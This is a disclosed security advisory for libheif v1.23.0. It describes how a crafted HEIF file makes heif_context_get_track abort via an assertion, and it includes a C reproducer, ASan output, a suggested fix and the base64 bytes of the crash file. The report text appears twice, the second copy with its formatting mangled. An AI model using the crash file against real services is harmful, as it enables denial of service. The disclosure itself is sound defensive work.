Note:
Accepted by maintainers and fixed in #1844.
Requested via advisory to request CVE.
Summary
heif_context_read_from_memory() accepts a crafted HEIF file (ftyp major
brand msf1, with a moov/trak structure that parses but yields no usable
track) without returning an error, yet the resulting context registers
zero sequence tracks. Calling the public API heif_context_get_track(ctx, 0)
on that context routes into HeifContext::get_track()
(libheif/context.cc:2110), where assert(has_sequence()) fails and the
process aborts with SIGABRT.
The public heif_context_get_track() wrapper is explicitly written to return
nullptr on failure, and the public header documents no precondition that the
file must contain a sequence. A documented public entry point therefore aborts
the entire process on attacker-controlled input — a denial-of-service /
API-robustness defect. There is no memory corruption, so severity is low.
- Project / version: libheif
v1.23.0 (commit 3021ff4efd897f9d66fd6287dad33e138de27dd4)
- Affected API:
heif_context_get_track() (and the internal HeifContext::get_track())
Root Cause
has_sequence() is defined as the non-emptiness of the internal track map
(libheif/context.h:208):
bool has_sequence() const { return !m_tracks.empty(); }
HeifContext::get_track() asserts that invariant up front, before any of its
own error handling can run (libheif/context.cc:2108):
Result<std::shared_ptr<Track>> HeifContext::get_track(uint32_t track_id)
{
assert(has_sequence());
if (track_id != 0) {
auto iter = m_tracks.find(track_id);
if (iter == m_tracks.end()) {
return Error{heif_error_Usage_error,
heif_suberror_Unspecified,
"Invalid track id"};
}
return iter->second;
}
if (m_visual_track_id != 0) {
return m_tracks[m_visual_track_id];
}
return m_tracks.begin()->second;
}
The public wrapper is designed to surface failures to the caller as nullptr
(libheif/api/libheif/heif_sequences.cc:86):
// Use id=0 for the first visual track.
heif_track* heif_context_get_track(const heif_context* ctx, uint32_t track_id)
{
auto trackResult = ctx->context->get_track(track_id);
if (!trackResult) {
return nullptr;
}
auto* track = new heif_track;
track->track = *trackResult;
track->context = ctx->context;
return track;
}
But it never gets the chance: when the file was accepted yet m_tracks is
empty, assert(has_sequence()) aborts before get_track() can return an
Error. The two failure modes are:
- Assert-enabled builds:
assert(has_sequence()) calls abort() (SIGABRT).
NDEBUG builds: the assert is compiled out, and the track_id == 0 path
falls through to return m_tracks.begin()->second;, which dereferences
begin() on an empty std::map — undefined behavior, typically a crash.
Either way, a public API call aborts/crashes on a file that the library itself
chose to accept.
PoC
A 743-byte HEIF file. Its ftyp declares the major brand msf1 (a HEIF image
sequence), and it carries a moov box with a trak whose sample tables are
malformed/empty. The combination is permissive enough that
heif_context_read_from_memory() returns heif_error_Ok, but no sequence
track is ultimately registered, so the context's track map is empty
(has_sequence() == false).
The exact bytes are provided, base64-encoded, in the final section so this
report is self-contained.
Reproduction
The crash is reachable through the documented public C API only —
heif_context_alloc → heif_context_read_from_memory →
heif_context_get_track(ctx, 0). The following standalone program
(repro_libheif.c) reproduces it:
#include <stdio.h>
#include <stdlib.h>
#include "libheif/heif.h"
#include "libheif/heif_sequences.h"
int main(int argc, char** argv)
{
FILE* f = fopen(argv[1], "rb");
fseek(f, 0, SEEK_END);
long n = ftell(f);
fseek(f, 0, SEEK_SET);
unsigned char* buf = (unsigned char*) malloc(n);
fread(buf, 1, n, f);
fclose(f);
struct heif_context* ctx = heif_context_alloc();
// The crafted file is ACCEPTED here (no error) yet registers zero tracks.
struct heif_error err = heif_context_read_from_memory(ctx, buf, n, NULL);
if (err.code != heif_error_Ok) {
heif_context_free(ctx);
free(buf);
return 1;
}
// id == 0 = "first visual track" shortcut. Documented to return nullptr on
// failure, but instead aborts via assert(has_sequence()).
struct heif_track* t = heif_context_get_track(ctx, 0);
heif_track_release(t);
heif_context_free(ctx);
free(buf);
return 0;
}
Build (asserts must be enabled — build the library with CMAKE_BUILD_TYPE=Debug
or otherwise without -DNDEBUG; the reproducer was built and linked against an
ASan-instrumented static libheif):
# libheif built with: cmake -DCMAKE_BUILD_TYPE=Debug \
# -DCMAKE_C_FLAGS="-fsanitize=address -g -O1" \
# -DCMAKE_CXX_FLAGS="-fsanitize=address -g -O1" ... (asserts ON, no -DNDEBUG)
clang -g -O0 -fsanitize=address \
-I <libheif>/libheif/api -I <build-dir> \
repro_libheif.c libheif.a libde265.a -lstdc++ -lm -lpthread -ldl \
-o repro_libheif
./repro_libheif poc
Observed output:
read_from_memory accepted the file (code=0)
repro_libheif: .../libheif/context.cc:2110: Result<std::shared_ptr<Track>> HeifContext::get_track(uint32_t): Assertion `has_sequence()' failed.
=================================================================
==xxxx==ERROR: AddressSanitizer: ABRT on unknown address ...
#4 abort stdlib/abort.c:79
#5 __assert_fail_base assert/assert.c:94
#6 __assert_fail assert/assert.c:103
#7 HeifContext::get_track(unsigned int) libheif/context.cc:2110
#8 heif_context_get_track libheif/api/libheif/heif_sequences.cc:88
#9 main repro_libheif.c:50
SUMMARY: AddressSanitizer: ABRT in __pthread_kill_implementation
read_from_memory accepts the file, then heif_context_get_track(ctx, 0)
aborts the process at the assertion — confirming the issue is reachable with no
internal knowledge of the library, on attacker-controlled bytes.
Suggested Fix
Replace the assertion with a normal error return, so the public wrapper can
hand the caller the nullptr it already documents, instead of aborting:
--- a/libheif/context.cc
+++ b/libheif/context.cc
@@ Result<std::shared_ptr<Track>> HeifContext::get_track(uint32_t track_id)
{
- assert(has_sequence());
+ if (!has_sequence()) {
+ return Error{heif_error_Usage_error,
+ heif_suberror_Unspecified,
+ "File contains no sequence tracks"};
+ }
This also removes the NDEBUG empty-map dereference on the track_id == 0
path (return m_tracks.begin()->second;), since the function now bails out
before reaching it.
PoC bytes (self-contained)
AAAAHGZ0eXBtc2YxAAAAAG1zZjFhdmlzYXYwMQAAAkdtb292AAAAbG12aGQAAAAAAAAAAAAAAAAA
AAPoAAAD6AABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAA
AAAAAAAAAC8AAAAAAAAAAAAAAAAAAAAAAAAA6AAAAAAAAAAUdm1oZAAAAAEAAAAAAAAAAAAAACRk
aW5mAAAAHGRycmVmcwAAAAAAAQAAAAx1cmwgAAAAAQAAANpzdGJsAAAAcnN0c2QAAAAAAAAAAQAA
AGJhdjAxAAAAAAAAAAEAAAAAAAAAAAAAAAAAFHZtaGQAAAABAAAAAAAAAAAAAAAkZGluZgAAABxk
cnJlZnMAAAAAAAEAAAAMdXJsIAAAAAEAAADac3RibAAAAHJzdHNkAAAAAAAAAAEAAABiYXYwMQAA
AAAAAAABAAAAAAAAAAAAAAAAAAAAAABAAEAASAAAAAAAAAAAAAAAAABAAEAASAAAAEgAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAAxhdjFDgQAAAAAAABhzdHRz
AAAAAAAAAAEAAAABAAAD6AAAABxzdHNjAABuYzFzev////////8GAAAAAAAAAAAAAAABAAAACAAA
ABRzdGNvAAAAAAAAAAEAAAAAAAAAEG1kYXQAAAAAAAAAAAAAAAAAAABAAEAASAAAAEgAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAAxhdjFDgQAAAAAAABhzdHRz
AAAAAAAAAAEAAAABAAAD6AAAABxzdHNjAAAAAAAAAAEAAAABAAAAAQAAAAEAAAAYc3RodmMxc3r/
////////BgAAAAAAAAAAAAAAAQAAAAgAAAAUc3RjbwAAAAAAAAABAAAAAAAAABBtZGF0AAAAAAAA
AAA=
Reconstruct the PoC file with:
base64 -d > poc <<'EOF'
AAAAHGZ0eXBtc2YxAAAAAG1zZjFhdmlzYXYwMQAAAkdtb292AAAAbG12aGQAAAAAAAAAAAAAAAAA
AAPoAAAD6AABAAABAAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAEAA
AAAAAAAAAC8AAAAAAAAAAAAAAAAAAAAAAAAA6AAAAAAAAAAUdm1oZAAAAAEAAAAAAAAAAAAAACRk
aW5mAAAAHGRycmVmcwAAAAAAAQAAAAx1cmwgAAAAAQAAANpzdGJsAAAAcnN0c2QAAAAAAAAAAQAA
AGJhdjAxAAAAAAAAAAEAAAAAAAAAAAAAAAAAFHZtaGQAAAABAAAAAAAAAAAAAAAkZGluZgAAABxk
cnJlZnMAAAAAAAEAAAAMdXJsIAAAAAEAAADac3RibAAAAHJzdHNkAAAAAAAAAAEAAABiYXYwMQAA
AAAAAAABAAAAAAAAAAAAAAAAAAAAAABAAEAASAAAAAAAAAAAAAAAAABAAEAASAAAAEgAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAAxhdjFDgQAAAAAAABhzdHRz
AAAAAAAAAAEAAAABAAAD6AAAABxzdHNjAABuYzFzev////////8GAAAAAAAAAAAAAAABAAAACAAA
ABRzdGNvAAAAAAAAAAEAAAAAAAAAEG1kYXQAAAAAAAAAAAAAAAAAAABAAEAASAAAAEgAAAAAAAAA
AQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABj//wAAAAxhdjFDgQAAAAAAABhzdHRz
AAAAAAAAAAEAAAABAAAD6AAAABxzdHNjAAAAAAAAAAEAAAABAAAAAQAAAAEAAAAYc3RodmMxc3r/
////////BgAAAAAAAAAAAAAAAQAAAAgAAAAUc3RjbwAAAAAAAAABAAAAAAAAABBtZGF0AAAAAAAA
AAA=
EOF
Credit
Aisle Research (Ze Sheng (O2Lab & TAMU), Dmitrijs Trizna, Luigino Camastra, Guido Vranken).
Note:
Accepted by maintainers and fixed in #1844.
Requested via advisory to request CVE.
Summary
heif_context_read_from_memory()accepts a crafted HEIF file (ftypmajorbrand
msf1, with amoov/trakstructure that parses but yields no usabletrack) without returning an error, yet the resulting context registers
zero sequence tracks. Calling the public API
heif_context_get_track(ctx, 0)on that context routes into
HeifContext::get_track()(
libheif/context.cc:2110), whereassert(has_sequence())fails and theprocess aborts with
SIGABRT.The public
heif_context_get_track()wrapper is explicitly written to returnnullptron failure, and the public header documents no precondition that thefile must contain a sequence. A documented public entry point therefore aborts
the entire process on attacker-controlled input — a denial-of-service /
API-robustness defect. There is no memory corruption, so severity is low.
v1.23.0(commit3021ff4efd897f9d66fd6287dad33e138de27dd4)heif_context_get_track()(and the internalHeifContext::get_track())Root Cause
has_sequence()is defined as the non-emptiness of the internal track map(
libheif/context.h:208):HeifContext::get_track()asserts that invariant up front, before any of itsown error handling can run (
libheif/context.cc:2108):The public wrapper is designed to surface failures to the caller as
nullptr(
libheif/api/libheif/heif_sequences.cc:86):But it never gets the chance: when the file was accepted yet
m_tracksisempty,
assert(has_sequence())aborts beforeget_track()can return anError. The two failure modes are:assert(has_sequence())callsabort()(SIGABRT).NDEBUGbuilds: the assert is compiled out, and thetrack_id == 0pathfalls through to
return m_tracks.begin()->second;, which dereferencesbegin()on an emptystd::map— undefined behavior, typically a crash.Either way, a public API call aborts/crashes on a file that the library itself
chose to accept.
PoC
A 743-byte HEIF file. Its
ftypdeclares the major brandmsf1(a HEIF imagesequence), and it carries a
moovbox with atrakwhose sample tables aremalformed/empty. The combination is permissive enough that
heif_context_read_from_memory()returnsheif_error_Ok, but no sequencetrack is ultimately registered, so the context's track map is empty
(
has_sequence() == false).The exact bytes are provided, base64-encoded, in the final section so this
report is self-contained.
Reproduction
The crash is reachable through the documented public C API only —
heif_context_alloc→heif_context_read_from_memory→heif_context_get_track(ctx, 0). The following standalone program(
repro_libheif.c) reproduces it:Build (asserts must be enabled — build the library with
CMAKE_BUILD_TYPE=Debugor otherwise without
-DNDEBUG; the reproducer was built and linked against anASan-instrumented static libheif):
Observed output:
read_from_memoryaccepts the file, thenheif_context_get_track(ctx, 0)aborts the process at the assertion — confirming the issue is reachable with no
internal knowledge of the library, on attacker-controlled bytes.
Suggested Fix
Replace the assertion with a normal error return, so the public wrapper can
hand the caller the
nullptrit already documents, instead of aborting:This also removes the
NDEBUGempty-map dereference on thetrack_id == 0path (
return m_tracks.begin()->second;), since the function now bails outbefore reaching it.
PoC bytes (self-contained)
Reconstruct the PoC file with:
Credit
Aisle Research (Ze Sheng (O2Lab & TAMU), Dmitrijs Trizna, Luigino Camastra, Guido Vranken).